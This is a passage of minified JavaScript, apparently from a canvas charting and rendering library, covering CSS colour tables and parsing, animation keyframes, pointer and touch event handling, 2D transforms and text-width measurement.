y:[128,128,128,1],honeydew:[240,255,240,1],hotpink:[255,105,180,1],indianred:[205,92,92,1],indigo:[75,0,130,1],ivory:[255,255,240,1],khaki:[240,230,140,1],lavender:[230,230,250,1],lavenderblush:[255,240,245,1],lawngreen:[124,252,0,1],lemonchiffon:[255,250,205,1],lightblue:[173,216,230,1],lightcoral:[240,128,128,1],lightcyan:[224,255,255,1],lightgoldenrodyellow:[250,250,210,1],lightgray:[211,211,211,1],lightgreen:[144,238,144,1],lightgrey:[211,211,211,1],lightpink:[255,182,193,1],lightsalmon:[255,160,122,1],lightseagreen:[32,178,170,1],lightskyblue:[135,206,250,1],lightslategray:[119,136,153,1],lightslategrey:[119,136,153,1],lightsteelblue:[176,196,222,1],lightyellow:[255,255,224,1],lime:[0,255,0,1],limegreen:[50,205,50,1],linen:[250,240,230,1],magenta:[255,0,255,1],maroon:[128,0,0,1],mediumaquamarine:[102,205,170,1],mediumblue:[0,0,205,1],mediumorchid:[186,85,211,1],mediumpurple:[147,112,219,1],mediumseagreen:[60,179,113,1],mediumslateblue:[123,104,238,1],mediumspringgreen:[0,250,154,1],mediumturquoise:[72,209,204,1],mediumvioletred:[199,21,133,1],midnightblue:[25,25,112,1],mintcream:[245,255,250,1],mistyrose:[255,228,225,1],moccasin:[255,228,181,1],navajowhite:[255,222,173,1],navy:[0,0,128,1],oldlace:[253,245,230,1],olive:[128,128,0,1],olivedrab:[107,142,35,1],orange:[255,165,0,1],orangered:[255,69,0,1],orchid:[218,112,214,1],palegoldenrod:[238,232,170,1],palegreen:[152,251,152,1],paleturquoise:[175,238,238,1],palevioletred:[219,112,147,1],papayawhip:[255,239,213,1],peachpuff:[255,218,185,1],peru:[205,133,63,1],pink:[255,192,203,1],plum:[221,160,221,1],powderblue:[176,224,230,1],purple:[128,0,128,1],red:[255,0,0,1],rosybrown:[188,143,143,1],royalblue:[65,105,225,1],saddlebrown:[139,69,19,1],salmon:[250,128,114,1],sandybrown:[244,164,96,1],seagreen:[46,139,87,1],seashell:[255,245,238,1],sienna:[160,82,45,1],silver:[192,192,192,1],skyblue:[135,206,235,1],slateblue:[106,90,205,1],slategray:[112,128,144,1],slategrey:[112,128,144,1],snow:[255,250,250,1],springgreen:[0,255,127,1],steelblue:[70,130,180,1],tan:[210,180,140,1],teal:[0,128,128,1],thistle:[216,191,216,1],tomato:[255,99,71,1],turquoise:[64,224,208,1],violet:[238,130,238,1],wheat:[245,222,179,1],white:[255,255,255,1],whitesmoke:[245,245,245,1],yellow:[255,255,0,1],yellowgreen:[154,205,50,1]};function Un(t){return(t=Math.round(t))<0?0:t>255?255:t}function Xn(t){return t<0?0:t>1?1:t}function Yn(t){var e=t;return e.length&&"%"===e.charAt(e.length-1)?Un(parseFloat(e)/100*255):Un(parseInt(e,10))}function qn(t){var e=t;return e.length&&"%"===e.charAt(e.length-1)?Xn(parseFloat(e)/100):Xn(parseFloat(e))}function Zn(t,e,n){return n<0?n+=1:n>1&&(n-=1),6*n<1?t+(e-t)*n*6:2*n<1?e:3*n<2?t+(e-t)*(2/3-n)*6:t}function jn(t,e,n){return t+(e-t)*n}function Kn(t,e,n,r,i){return t[0]=e,t[1]=n,t[2]=r,t[3]=i,t}function $n(t,e){return t[0]=e[0],t[1]=e[1],t[2]=e[2],t[3]=e[3],t}var Qn=new Wn(20),Jn=null;function tr(t,e){Jn&&$n(Jn,e),Jn=Qn.put(t,Jn||e.slice())}function er(t,e){if(t){e=e||[];var n=Qn.get(t);if(n)return $n(e,n);var r=(t+="").replace(/ /g,"").toLowerCase();if(r in Gn)return $n(e,Gn[r]),tr(t,e),e;var i,o=r.length;if("#"===r.charAt(0))return 4===o||5===o?(i=parseInt(r.slice(1,4),16))>=0&&i<=4095?(Kn(e,(3840&i)>>4|(3840&i)>>8,240&i|(240&i)>>4,15&i|(15&i)<<4,5===o?parseInt(r.slice(4),16)/15:1),tr(t,e),e):void Kn(e,0,0,0,1):7===o||9===o?(i=parseInt(r.slice(1,7),16))>=0&&i<=16777215?(Kn(e,(16711680&i)>>16,(65280&i)>>8,255&i,9===o?parseInt(r.slice(7),16)/255:1),tr(t,e),e):void Kn(e,0,0,0,1):void 0;var a=r.indexOf("("),s=r.indexOf(")");if(-1!==a&&s+1===o){var l=r.substr(0,a),u=r.substr(a+1,s-(a+1)).split(","),c=1;switch(l){case"rgba":if(4!==u.length)return 3===u.length?Kn(e,+u[0],+u[1],+u[2],1):Kn(e,0,0,0,1);c=qn(u.pop());case"rgb":return u.length>=3?(Kn(e,Yn(u[0]),Yn(u[1]),Yn(u[2]),3===u.length?c:qn(u[3])),tr(t,e),e):void Kn(e,0,0,0,1);case"hsla":return 4!==u.length?void Kn(e,0,0,0,1):(u[3]=qn(u[3]),nr(u,e),tr(t,e),e);case"hsl":return 3!==u.length?void Kn(e,0,0,0,1):(nr(u,e),tr(t,e),e);default:return}}Kn(e,0,0,0,1)}}function nr(t,e){var n=(parseFloat(t[0])%360+360)%360/360,r=qn(t[1]),i=qn(t[2]),o=i<=.5?i*(r+1):i+r-i*r,a=2*i-o;return Kn(e=e||[],Un(255*Zn(a,o,n+1/3)),Un(255*Zn(a,o,n)),Un(255*Zn(a,o,n-1/3)),1),4===t.length&&(e[3]=t[3]),e}function rr(t,e){var n=er(t);if(n){for(var r=0;r<3;r++)n[r]=e<0?n[r]*(1-e)|0:(255-n[r])*e+n[r]|0,n[r]>255?n[r]=255:n[r]<0&&(n[r]=0);return ur(n,4===n.length?"rgba":"rgb")}}function ir(t,e,n){if(e&&e.length&&t>=0&&t<=1){n=n||[];var r=t*(e.length-1),i=Math.floor(r),o=Math.ceil(r),a=e[i],s=e[o],l=r-i;return n[0]=Un(jn(a[0],s[0],l)),n[1]=Un(jn(a[1],s[1],l)),n[2]=Un(jn(a[2],s[2],l)),n[3]=Xn(jn(a[3],s[3],l)),n}}var or=ir;function ar(t,e,n){if(e&&e.length&&t>=0&&t<=1){var r=t*(e.length-1),i=Math.floor(r),o=Math.ceil(r),a=er(e[i]),s=er(e[o]),l=r-i,u=ur([Un(jn(a[0],s[0],l)),Un(jn(a[1],s[1],l)),Un(jn(a[2],s[2],l)),Xn(jn(a[3],s[3],l))],"rgba");return n?{color:u,leftIndex:i,rightIndex:o,value:r}:u}}var sr=ar;function lr(t,e,n,r){var i,o=er(t);if(t)return o=function(t){if(t){var e,n,r=t[0]/255,i=t[1]/255,o=t[2]/255,a=Math.min(r,i,o),s=Math.max(r,i,o),l=s-a,u=(s+a)/2;if(0===l)e=0,n=0;else{n=u<.5?l/(s+a):l/(2-s-a);var c=((s-r)/6+l/2)/l,h=((s-i)/6+l/2)/l,f=((s-o)/6+l/2)/l;r===s?e=f-h:i===s?e=1/3+c-f:o===s&&(e=2/3+h-c),e<0&&(e+=1),e>1&&(e-=1)}var p=[360*e,n,u];return null!=t[3]&&p.push(t[3]),p}}(o),null!=e&&(o[0]=(i=X(e)?e(o[0]):e,(i=Math.round(i))<0?0:i>360?360:i)),null!=n&&(o[1]=qn(X(n)?n(o[1]):n)),null!=r&&(o[2]=qn(X(r)?r(o[2]):r)),ur(nr(o),"rgba")}function ur(t,e){if(t&&t.length){var n=t[0]+","+t[1]+","+t[2];return"rgba"!==e&&"hsva"!==e&&"hsla"!==e||(n+=","+t[3]),e+"("+n+")"}}function cr(t,e){var n=er(t);return n?(.299*n[0]+.587*n[1]+.114*n[2])*n[3]/255+(1-n[3])*e:0}var hr=new Wn(100);function fr(t){if(Y(t)){var e=hr.get(t);return e||(e=rr(t,-.1),hr.put(t,e)),e}if(J(t)){var n=I({},t);return n.colorStops=B(t.colorStops,function(t){return{offset:t.offset,color:rr(t.color,-.1)}}),n}return t}var pr=Object.freeze({__proto__:null,parseCssInt:Yn,parseCssFloat:qn,parse:er,lift:rr,toHex:function(t){var e=er(t);if(e)return((1<<24)+(e[0]<<16)+(e[1]<<8)+ +e[2]).toString(16).slice(1)},fastLerp:ir,fastMapToColor:or,lerp:ar,mapToColor:sr,modifyHSL:lr,modifyAlpha:function(t,e){var n=er(t);if(n&&null!=e)return n[3]=Xn(e),ur(n,"rgba")},stringify:ur,lum:cr,random:function(){return ur([Math.round(255*Math.random()),Math.round(255*Math.random()),Math.round(255*Math.random())],"rgb")},liftColor:fr});"undefined"!=typeof Buffer&&Buffer.from;var dr=Array.prototype.slice;function gr(t,e,n){return(e-t)*n+t}function vr(t,e,n,r){for(var i=e.length,o=0;o<i;o++)t[o]=gr(e[o],n[o],r);return t}function yr(t,e,n,r){for(var i=e.length,o=0;o<i;o++)t[o]=e[o]+n[o]*r;return t}function mr(t,e,n,r){for(var i=e.length,o=i&&e[0].length,a=0;a<i;a++){t[a]||(t[a]=[]);for(var s=0;s<o;s++)t[a][s]=e[a][s]+n[a][s]*r}return t}function _r(t,e){for(var n=t.length,r=e.length,i=n>r?e:t,o=Math.min(n,r),a=i[o-1]||{color:[0,0,0,0],offset:0},s=o;s<Math.max(n,r);s++)i.push({offset:a.offset,color:a.color.slice()})}function xr(t,e,n){var r=t,i=e;if(r.push&&i.push){var o=r.length,a=i.length;if(o!==a)if(o>a)r.length=a;else for(var s=o;s<a;s++)r.push(1===n?i[s]:dr.call(i[s]));var l=r[0]&&r[0].length;for(s=0;s<r.length;s++)if(1===n)isNaN(r[s])&&(r[s]=i[s]);else for(var u=0;u<l;u++)isNaN(r[s][u])&&(r[s][u]=i[s][u])}}function br(t){if(N(t)){var e=t.length;if(N(t[0])){for(var n=[],r=0;r<e;r++)n.push(dr.call(t[r]));return n}return dr.call(t)}return t}function wr(t){return t[0]=Math.floor(t[0])||0,t[1]=Math.floor(t[1])||0,t[2]=Math.floor(t[2])||0,t[3]=null==t[3]?1:t[3],"rgba("+t.join(",")+")"}function Sr(t){return 4===t||5===t}function Mr(t){return 1===t||2===t}var Tr=[0,0,0,0],kr=function(){function t(t){this.keyframes=[],this.discrete=!1,this._invalid=!1,this._needsSort=!1,this._lastFr=0,this._lastFrP=0,this.propName=t}return t.prototype.isFinished=function(){return this._finished},t.prototype.setFinished=function(){this._finished=!0,this._additiveTrack&&this._additiveTrack.setFinished()},t.prototype.needsAnimate=function(){return this.keyframes.length>=1},t.prototype.getAdditiveTrack=function(){return this._additiveTrack},t.prototype.addKeyframe=function(t,e,n){this._needsSort=!0;var r=this.keyframes,i=r.length,o=!1,a=6,s=e;if(N(e)){var l=function(t){return N(t&&t[0])?2:1}(e);a=l,(1===l&&!Z(e[0])||2===l&&!Z(e[0][0]))&&(o=!0)}else if(Z(e)&&!nt(e))a=0;else if(Y(e))if(isNaN(+e)){var u=er(e);u&&(s=u,a=3)}else a=0;else if(J(e)){var c=I({},s);c.colorStops=B(e.colorStops,function(t){return{offset:t.offset,color:er(t.color)}}),"linear"===e.type?a=4:function(t){return"radial"===t.type}(e)&&(a=5),s=c}0===i?this.valType=a:a===this.valType&&6!==a||(o=!0),this.discrete=this.discrete||o;var h={time:t,value:s,rawValue:e,percent:0};return n&&(h.easing=n,h.easingFunc=X(n)?n:dn[n]||zn(n)),r.push(h),h},t.prototype.prepare=function(t,e){var n=this.keyframes;this._needsSort&&n.sort(function(t,e){return t.time-e.time});for(var r=this.valType,i=n.length,o=n[i-1],a=this.discrete,s=Mr(r),l=Sr(r),u=0;u<i;u++){var c=n[u],h=c.value,f=o.value;c.percent=c.time/t,a||(s&&u!==i-1?xr(h,f,r):l&&_r(h.colorStops,f.colorStops))}if(!a&&5!==r&&e&&this.needsAnimate()&&e.needsAnimate()&&r===e.valType&&!e._finished){this._additiveTrack=e;var p=n[0].value;for(u=0;u<i;u++)0===r?n[u].additiveValue=n[u].value-p:3===r?n[u].additiveValue=yr([],n[u].value,p,-1):Mr(r)&&(n[u].additiveValue=1===r?yr([],n[u].value,p,-1):mr([],n[u].value,p,-1))}},t.prototype.step=function(t,e){if(!this._finished){this._additiveTrack&&this._additiveTrack._finished&&(this._additiveTrack=null);var n,r,i,o=null!=this._additiveTrack,a=o?"additiveValue":"value",s=this.valType,l=this.keyframes,u=l.length,c=this.propName,h=3===s,f=this._lastFr,p=Math.min;if(1===u)r=i=l[0];else{if(e<0)n=0;else if(e<this._lastFrP){for(n=p(f+1,u-1);n>=0&&!(l[n].percent<=e);n--);n=p(n,u-2)}else{for(n=f;n<u&&!(l[n].percent>e);n++);n=p(n-1,u-2)}i=l[n+1],r=l[n]}if(r&&i){this._lastFr=n,this._lastFrP=e;var d=i.percent-r.percent,g=0===d?1:p((e-r.percent)/d,1);i.easingFunc&&(g=i.easingFunc(g));var v=o?this._additiveValue:h?Tr:t[c];if(!Mr(s)&&!h||v||(v=this._additiveValue=[]),this.discrete)t[c]=g<1?r.rawValue:i.rawValue;else if(Mr(s))1===s?vr(v,r[a],i[a],g):function(t,e,n,r){for(var i=e.length,o=i&&e[0].length,a=0;a<i;a++){t[a]||(t[a]=[]);for(var s=0;s<o;s++)t[a][s]=gr(e[a][s],n[a][s],r)}}(v,r[a],i[a],g);else if(Sr(s)){var y=r[a],m=i[a],_=4===s;t[c]={type:_?"linear":"radial",x:gr(y.x,m.x,g),y:gr(y.y,m.y,g),colorStops:B(y.colorStops,function(t,e){var n=m.colorStops[e];return{offset:gr(t.offset,n.offset,g),color:wr(vr([],t.color,n.color,g))}}),global:m.global},_?(t[c].x2=gr(y.x2,m.x2,g),t[c].y2=gr(y.y2,m.y2,g)):t[c].r=gr(y.r,m.r,g)}else if(h)vr(v,r[a],i[a],g),o||(t[c]=wr(v));else{var x=gr(r[a],i[a],g);o?this._additiveValue=x:t[c]=x}o&&this._addToTarget(t)}}},t.prototype._addToTarget=function(t){var e=this.valType,n=this.propName,r=this._additiveValue;0===e?t[n]=t[n]+r:3===e?(er(t[n],Tr),yr(Tr,Tr,r,1),t[n]=wr(Tr)):1===e?yr(t[n],t[n],r,1):2===e&&mr(t[n],t[n],r,1)},t}(),Cr=function(){function t(t,e,n,r){this._tracks={},this._trackKeys=[],this._maxTime=0,this._started=0,this._clip=null,this._target=t,this._loop=e,e&&r?T("Can' use additive animation on looped animation."):(this._additiveAnimators=r,this._allowDiscrete=n)}return t.prototype.getMaxTime=function(){return this._maxTime},t.prototype.getDelay=function(){return this._delay},t.prototype.getLoop=function(){return this._loop},t.prototype.getTarget=function(){return this._target},t.prototype.changeTarget=function(t){this._target=t},t.prototype.when=function(t,e,n){return this.whenWithKeys(t,e,H(e),n)},t.prototype.whenWithKeys=function(t,e,n,r){for(var i=this._tracks,o=0;o<n.length;o++){var a=n[o],s=i[a];if(!s){s=i[a]=new kr(a);var l=void 0,u=this._getAdditiveTrack(a);if(u){var c=u.keyframes,h=c[c.length-1];l=h&&h.value,3===u.valType&&l&&(l=wr(l))}else l=this._target[a];if(null==l)continue;t>0&&s.addKeyframe(0,br(l),r),this._trackKeys.push(a)}s.addKeyframe(t,br(e[a]),r)}return this._maxTime=Math.max(this._maxTime,t),this},t.prototype.pause=function(){this._clip.pause(),this._paused=!0},t.prototype.resume=function(){this._clip.resume(),this._paused=!1},t.prototype.isPaused=function(){return!!this._paused},t.prototype.duration=function(t){return this._maxTime=t,this._force=!0,this},t.prototype._doneCallback=function(){this._setTracksFinished(),this._clip=null;var t=this._doneCbs;if(t)for(var e=t.length,n=0;n<e;n++)t[n].call(this)},t.prototype._abortedCallback=function(){this._setTracksFinished();var t=this.animation,e=this._abortedCbs;if(t&&t.removeClip(this._clip),this._clip=null,e)for(var n=0;n<e.length;n++)e[n].call(this)},t.prototype._setTracksFinished=function(){for(var t=this._tracks,e=this._trackKeys,n=0;n<e.length;n++)t[e[n]].setFinished()},t.prototype._getAdditiveTrack=function(t){var e,n=this._additiveAnimators;if(n)for(var r=0;r<n.length;r++){var i=n[r].getTrack(t);i&&(e=i)}return e},t.prototype.start=function(t){if(!(this._started>0)){this._started=1;for(var e=this,n=[],r=this._maxTime||0,i=0;i<this._trackKeys.length;i++){var o=this._trackKeys[i],a=this._tracks[o],s=this._getAdditiveTrack(o),l=a.keyframes,u=l.length;if(a.prepare(r,s),a.needsAnimate())if(!this._allowDiscrete&&a.discrete){var c=l[u-1];c&&(e._target[a.propName]=c.rawValue),a.setFinished()}else n.push(a)}if(n.length||this._force){var h=new Fn({life:r,loop:this._loop,delay:this._delay||0,onframe:function(t){e._started=2;var r=e._additiveAnimators;if(r){for(var i=!1,o=0;o<r.length;o++)if(r[o]._clip){i=!0;break}i||(e._additiveAnimators=null)}for(o=0;o<n.length;o++)n[o].step(e._target,t);var a=e._onframeCbs;if(a)for(o=0;o<a.length;o++)a[o](e._target,t)},ondestroy:function(){e._doneCallback()}});this._clip=h,this.animation&&this.animation.addClip(h),t&&h.setEasing(t)}else this._doneCallback();return this}},t.prototype.stop=function(t){if(this._clip){var e=this._clip;t&&e.onframe(1),this._abortedCallback()}},t.prototype.delay=function(t){return this._delay=t,this},t.prototype.during=function(t){return t&&(this._onframeCbs||(this._onframeCbs=[]),this._onframeCbs.push(t)),this},t.prototype.done=function(t){return t&&(this._doneCbs||(this._doneCbs=[]),this._doneCbs.push(t)),this},t.prototype.aborted=function(t){return t&&(this._abortedCbs||(this._abortedCbs=[]),this._abortedCbs.push(t)),this},t.prototype.getClip=function(){return this._clip},t.prototype.getTrack=function(t){return this._tracks[t]},t.prototype.getTracks=function(){var t=this;return B(this._trackKeys,function(e){return t._tracks[e]})},t.prototype.stopTracks=function(t,e){if(!t.length||!this._clip)return!0;for(var n=this._tracks,r=this._trackKeys,i=0;i<t.length;i++){var o=n[t[i]];o&&!o.isFinished()&&(e?o.step(this._target,1):1===this._started&&o.step(this._target,0),o.setFinished())}var a=!0;for(i=0;i<r.length;i++)if(!n[r[i]].isFinished()){a=!1;break}return a&&this._abortedCallback(),a},t.prototype.saveTo=function(t,e,n){if(t){e=e||this._trackKeys;for(var r=0;r<e.length;r++){var i=e[r],o=this._tracks[i];if(o&&!o.isFinished()){var a=o.keyframes,s=a[n?0:a.length-1];s&&(t[i]=br(s.rawValue))}}}},t.prototype.__changeFinalValue=function(t,e){e=e||H(t);for(var n=0;n<e.length;n++){var r=e[n],i=this._tracks[r];if(i){var o=i.keyframes;if(o.length>1){var a=o.pop();i.addKeyframe(a.time,t[r]),i.prepare(this._maxTime,i.getAdditiveTrack())}}}},t}();function Ir(){return(new Date).getTime()}var Dr,Ar,Lr=function(t){function e(e){var n=t.call(this)||this;return n._running=!1,n._time=0,n._pausedTime=0,n._pauseStart=0,n._paused=!1,e=e||{},n.stage=e.stage||{},n}return n(e,t),e.prototype.addClip=function(t){t.animation&&this.removeClip(t),this._head?(this._tail.next=t,t.prev=this._tail,t.next=null,this._tail=t):this._head=this._tail=t,t.animation=this},e.prototype.addAnimator=function(t){t.animation=this;var e=t.getClip();e&&this.addClip(e)},e.prototype.removeClip=function(t){if(t.animation){var e=t.prev,n=t.next;e?e.next=n:this._head=n,n?n.prev=e:this._tail=e,t.next=t.prev=t.animation=null}},e.prototype.removeAnimator=function(t){var e=t.getClip();e&&this.removeClip(e),t.animation=null},e.prototype.update=function(t){for(var e=Ir()-this._pausedTime,n=e-this._time,r=this._head;r;){var i=r.next;r.step(e,n)?(r.ondestroy(),this.removeClip(r),r=i):r=i}this._time=e,t||(this.trigger("frame",n),this.stage.update&&this.stage.update())},e.prototype._startLoop=function(){var t=this;this._running=!0,pn(function e(){t._running&&(pn(e),!t._paused&&t.update())})},e.prototype.start=function(){this._running||(this._time=Ir(),this._pausedTime=0,this._startLoop())},e.prototype.stop=function(){this._running=!1},e.prototype.pause=function(){this._paused||(this._pauseStart=Ir(),this._paused=!0)},e.prototype.resume=function(){this._paused&&(this._pausedTime+=Ir()-this._pauseStart,this._paused=!1)},e.prototype.clear=function(){for(var t=this._head;t;){var e=t.next;t.prev=t.next=t.animation=null,t=e}this._head=this._tail=null},e.prototype.isFinished=function(){return null==this._head},e.prototype.animate=function(t,e){e=e||{},this.start();var n=new Cr(t,e.loop);return this.addAnimator(n),n},e}(qt),Pr=i.domSupported,Or=(Ar={pointerdown:1,pointerup:1,pointermove:1,pointerout:1},{mouse:Dr=["click","dblclick","mousewheel","wheel","mouseout","mouseup","mousedown","mousemove","contextmenu"],touch:["touchstart","touchend","touchmove"],pointer:B(Dr,function(t){var e=t.replace("mouse","pointer");return Ar.hasOwnProperty(e)?e:t})}),Rr=["mousemove","mouseup"],Nr=["pointermove","pointerup"],Er=!1;function Br(t){var e=t.pointerType;return"pen"===e||"touch"===e}function zr(t){t&&(t.zrByTouch=!0)}function Fr(t,e){for(var n=e,r=!1;n&&9!==n.nodeType&&!(r=n.domBelongToZr||n!==e&&n===t.painterRoot);)n=n.parentNode;return r}var Vr=function(t,e){this.stopPropagation=bt,this.stopImmediatePropagation=bt,this.preventDefault=bt,this.type=e.type,this.target=this.currentTarget=t.dom,this.pointerType=e.pointerType,this.clientX=e.clientX,this.clientY=e.clientY},Hr={mousedown:function(t){t=ue(this.dom,t),this.__mayPointerCapture=[t.zrX,t.zrY],this.trigger("mousedown",t)},mousemove:function(t){t=ue(this.dom,t);var e=this.__mayPointerCapture;!e||t.zrX===e[0]&&t.zrY===e[1]||this.__togglePointerCapture(!0),this.trigger("mousemove",t)},mouseup:function(t){t=ue(this.dom,t),this.__togglePointerCapture(!1),this.trigger("mouseup",t)},mouseout:function(t){Fr(this,(t=ue(this.dom,t)).toElement||t.relatedTarget)||(this.__pointerCapturing&&(t.zrEventControl="no_globalout"),this.trigger("mouseout",t))},wheel:function(t){Er=!0,t=ue(this.dom,t),this.trigger("mousewheel",t)},mousewheel:function(t){Er||(t=ue(this.dom,t),this.trigger("mousewheel",t))},touchstart:function(t){zr(t=ue(this.dom,t)),this.__lastTouchMoment=new Date,this.handler.processGesture(t,"start"),Hr.mousemove.call(this,t),Hr.mousedown.call(this,t)},touchmove:function(t){zr(t=ue(this.dom,t)),this.handler.processGesture(t,"change"),Hr.mousemove.call(this,t)},touchend:function(t){zr(t=ue(this.dom,t)),this.handler.processGesture(t,"end"),Hr.mouseup.call(this,t),+new Date-+this.__lastTouchMoment<300&&Hr.click.call(this,t)},pointerdown:function(t){Hr.mousedown.call(this,t)},pointermove:function(t){Br(t)||Hr.mousemove.call(this,t)},pointerup:function(t){Hr.mouseup.call(this,t)},pointerout:function(t){Br(t)||Hr.mouseout.call(this,t)}};E(["click","dblclick","contextmenu"],function(t){Hr[t]=function(e){e=ue(this.dom,e),this.trigger(t,e)}});var Wr={pointermove:function(t){Br(t)||Wr.mousemove.call(this,t)},pointerup:function(t){Wr.mouseup.call(this,t)},mousemove:function(t){this.trigger("mousemove",t)},mouseup:function(t){var e=this.__pointerCapturing;this.__togglePointerCapture(!1),this.trigger("mouseup",t),e&&(t.zrEventControl="only_globalout",this.trigger("mouseout",t))}};function Gr(t,e){var n=e.domHandlers;i.pointerEventsSupported?E(Or.pointer,function(r){Xr(e,r,function(e){n[r].call(t,e)})}):(i.touchEventsSupported&&E(Or.touch,function(r){Xr(e,r,function(i){n[r].call(t,i),function(t){t.touching=!0,null!=t.touchTimer&&(clearTimeout(t.touchTimer),t.touchTimer=null),t.touchTimer=setTimeout(function(){t.touching=!1,t.touchTimer=null},700)}(e)})}),E(Or.mouse,function(r){Xr(e,r,function(i){i=le(i),e.touching||n[r].call(t,i)})}))}function Ur(t,e){function n(n){Xr(e,n,function(r){r=le(r),Fr(t,r.target)||(r=function(t,e){return ue(t.dom,new Vr(t,e),!0)}(t,r),e.domHandlers[n].call(t,r))},{capture:!0})}i.pointerEventsSupported?E(Nr,n):i.touchEventsSupported||E(Rr,n)}function Xr(t,e,n,r){t.mounted[e]=n,t.listenerOpts[e]=r,function(t,e,n,r){t.addEventListener(e,n,r)}(t.domTarget,e,n,r)}function Yr(t){var e=t.mounted;for(var n in e)e.hasOwnProperty(n)&&ce(t.domTarget,n,e[n],t.listenerOpts[n]);t.mounted={}}var qr=function(t,e){this.mounted={},this.listenerOpts={},this.touching=!1,this.domTarget=t,this.domHandlers=e},Zr=function(t){function e(e,n){var r=t.call(this)||this;return r.__pointerCapturing=!1,r.dom=e,r.painterRoot=n,r._localHandlerScope=new qr(e,Hr),Pr&&(r._globalHandlerScope=new qr(document,Wr)),Gr(r,r._localHandlerScope),r}return n(e,t),e.prototype.dispose=function(){Yr(this._localHandlerScope),Pr&&Yr(this._globalHandlerScope)},e.prototype.setCursor=function(t){this.dom.style&&(this.dom.style.cursor=t||"default")},e.prototype.__togglePointerCapture=function(t){if(this.__mayPointerCapture=null,Pr&&+this.__pointerCapturing^+t){this.__pointerCapturing=t;var e=this._globalHandlerScope;t?Ur(this,e):Yr(e)}},e}(qt),jr=1;i.hasGlobalWindow&&(jr=Math.max(window.devicePixelRatio||window.screen&&window.screen.deviceXDPI/window.screen.logicalXDPI||1,1));var Kr=jr,$r="#333",Qr="#ccc",Jr=ge,ti=5e-5;function ei(t){return t>ti||t<-5e-5}var ni,ri=[],ii=[],oi=[1,0,0,1,0,0],ai=Math.abs,si=function(){function t(){}var e;return t.prototype.getLocalTransform=function(t){return li(this,t)},t.prototype.setPosition=function(t){this.x=t[0],this.y=t[1]},t.prototype.setScale=function(t){this.scaleX=t[0],this.scaleY=t[1]},t.prototype.setSkew=function(t){this.skewX=t[0],this.skewY=t[1]},t.prototype.setOrigin=function(t){this.originX=t[0],this.originY=t[1]},t.prototype.needLocalTransform=function(){return ei(this.rotation)||ei(this.x)||ei(this.y)||ei(this.scaleX-1)||ei(this.scaleY-1)||ei(this.skewX)||ei(this.skewY)},t.prototype.updateTransform=function(){var t=this.parent&&this.parent.transform,e=this.needLocalTransform(),n=this.transform;e||t?(n=n||[1,0,0,1,0,0],e?this.getLocalTransform(n):Jr(n),t&&(e?ye(n,t,n):ve(n,t)),this.transform=n,this._resolveGlobalScaleRatio(n),this.invTransform=this.invTransform||[1,0,0,1,0,0],be(this.invTransform,n)):n&&(Jr(n),this.invTransform=null)},t.prototype._resolveGlobalScaleRatio=function(t){var e=this.globalScaleRatio;if(null!=e&&1!==e){this.getGlobalScale(ri);var n=ri[0]<0?-1:1,r=ri[1]<0?-1:1,i=((ri[0]-n)*e+n)/ri[0]||0,o=((ri[1]-r)*e+r)/ri[1]||0;t[0]*=i,t[1]*=i,t[2]*=o,t[3]*=o}},t.prototype.getComputedTransform=function(){for(var t=this,e=[];t;)e.push(t),t=t.parent;for(;t=e.pop();)t.updateTransform();return this.transform},t.prototype.setLocalTransform=function(t){if(t){var e=t[0]*t[0]+t[1]*t[1],n=t[2]*t[2]+t[3]*t[3],r=Math.atan2(t[1],t[0]),i=Math.PI/2+r-Math.atan2(t[3],t[2]);n=Math.sqrt(n)*Math.cos(i),e=Math.sqrt(e),this.skewX=i,this.skewY=0,this.rotation=-r,this.x=+t[4],this.y=+t[5],this.scaleX=e,this.scaleY=n,this.originX=0,this.originY=0}},t.prototype.decomposeTransform=function(){if(this.transform){var t=this.parent,e=this.transform;t&&t.transform&&(t.invTransform=t.invTransform||[1,0,0,1,0,0],ye(ii,t.invTransform,e),e=ii);var n=this.originX,r=this.originY;(n||r)&&(oi[4]=n,oi[5]=r,ye(ii,e,oi),ii[4]-=n,ii[5]-=r,e=ii),this.setLocalTransform(e)}},t.prototype.getGlobalScale=function(t){var e=this.transform;return t=t||[],e?(t[0]=Math.sqrt(e[0]*e[0]+e[1]*e[1]),t[1]=Math.sqrt(e[2]*e[2]+e[3]*e[3]),e[0]<0&&(t[0]=-t[0]),e[3]<0&&(t[1]=-t[1]),t):(t[0]=1,t[1]=1,t)},t.prototype.transformCoordToLocal=function(t,e){var n=[t,e],r=this.invTransform;return r&&Ht(n,n,r),n},t.prototype.transformCoordToGlobal=function(t,e){var n=[t,e],r=this.transform;return r&&Ht(n,n,r),n},t.prototype.getLineScale=function(){var t=this.transform;return t&&ai(t[0]-1)>1e-10&&ai(t[3]-1)>1e-10?Math.sqrt(ai(t[0]*t[3]-t[2]*t[1])):1},t.prototype.copyTransform=function(t){ci(this,t)},t.getLocalTransform=function(t,e){e=e||[];var n=t.originX||0,r=t.originY||0,i=t.scaleX,o=t.scaleY,a=t.anchorX,s=t.anchorY,l=t.rotation||0,u=t.x,c=t.y,h=t.skewX?Math.tan(t.skewX):0,f=t.skewY?Math.tan(-t.skewY):0;if(n||r||a||s){var p=n+a,d=r+s;e[4]=-p*i-h*d*o,e[5]=-d*o-f*p*i}else e[4]=e[5]=0;return e[0]=i,e[3]=o,e[1]=f*i,e[2]=h*o,l&&_e(e,e,l),e[4]+=n+u,e[5]+=r+c,e},t.initDefaultProps=((e=t.prototype).scaleX=e.scaleY=e.globalScaleRatio=1,void(e.x=e.y=e.originX=e.originY=e.skewX=e.skewY=e.rotation=e.anchorX=e.anchorY=0)),t}(),li=si.getLocalTransform,ui=["x","y","originX","originY","anchorX","anchorY","rotation","scaleX","scaleY","skewX","skewY"];function ci(t,e){return D(t,e,ui)}function hi(t){ni||(ni=new Wn(100)),t=t||o;var e=ni.get(t);return e||(e={font:t,strWidthCache:new Wn(500),asciiWidthMap:null,asciiWidthMapTried:!1,stWideCharWidth:u.measureText("国",t).width,asciiCharWidth:u.measureText("a",t).width},ni.put(t,e)),e}var fi=0,pi=5;function di(t,e){return t.asciiWidthMapTried||(t.asciiWidthMap=function(t){if(!(fi>=pi)){t=t||o;for(var e=[],n=+new Date,r=0;r<=127;r++)e[r]=u.measureText(String.fromCharCode(r),t).width;var i=+new Date-n;return i>16?fi=pi:i>2&&fi++,e}}(t.font),t.asciiWidthMapTried=!0),0<=e&&e<=127?null!=t.asciiWidthMap?t.asciiWidthMap[e]:t.asciiCharWidth:t.stWideCharWidth}function gi(t,e){var n=t.strWidthCache,r=n.get(e);return null==r&&(r=u.measureText(e,t.font).width,n.put(e,r)),r}function vi(t,e,n,r){var 